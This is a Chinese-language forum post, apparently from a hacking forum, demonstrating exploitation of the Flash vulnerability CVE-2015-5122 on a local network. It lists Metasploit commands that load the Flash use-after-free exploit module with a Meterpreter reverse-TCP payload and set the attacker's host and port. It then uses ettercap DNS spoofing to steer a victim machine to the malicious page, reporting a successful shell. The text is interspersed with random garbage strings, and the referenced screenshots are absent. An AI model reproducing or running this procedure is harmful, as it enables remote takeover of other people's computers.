cve2015-5122漏洞实例演示虚拟机

admin

: m# m- Q4 ~7 R. z$ p 二、cve2015-5122漏洞实例演示虚拟机 ' d9 g) {8 ^- j5 {& M9 ~

! ^$ Q0 F! ^# l, X% a/ i" A' D

- O+ G8 e* s7 Q) W   关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图：

+ w& {# C/ k; J7 D- t

search cve-2015-5122如图： & j" U: T4 t& P p- G

 

- o/ H" a; q# p" x( d2 t

下面我们敲如下命令： 9 A# w( {1 n8 t, |. A

9 P" \- u. P2 v: B

use exploit/multi/browser/adobe_flash_opaque_background_uaf

: @% P# P Q7 l0 y

set PAYLOAD windows/meterpreter/reverse_tcp

7 ?; g3 m# u7 e" } set LHOST 192.168.0.109

4 E: Y; [' F: L u- Q2 d) C) C2 c set URIPATH /                        /*根目录*/ " r! f o v, C

& f, e& b7 I+ P% ]% E' w6 K' a8 b set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址

& _9 D, z# k! q% ^

set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用

4 G1 e4 a/ E3 y 然后show options如图： ; P0 C6 h1 }2 i! T6 A$ s

 

一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：
" t* v4 E: a. [7 _$ r" a / s; ]9 K- t% f" z; {0 u b

& F! d8 H/ D$ A" H, p8 S

0 O' _! W! u" B5 x' f$ O 然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115 : X# f' d* B; ]7 f3 H

5 h* E( g/ e% [0 |. ^* r

3 Q* P& D% ~1 u$ } Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf $ p& O& S2 | R/ q# k7 y# R

7 j& _: i) n5 j; d

$ V$ g% r' \5 R0 b5 r  

( M. L+ a& }3 y7 S

: ~' k2 V% \. |2 R1 ` 成功了，这时候我们断开ettercap，如图：

  2 p2 }" h; ]. k E# b

* w k8 A+ U+ `3 q3 E

Screenshot如图：

# @( Z- v9 a) @4 Z4 e. b  

% @3 r) `& g/ Y1 N& p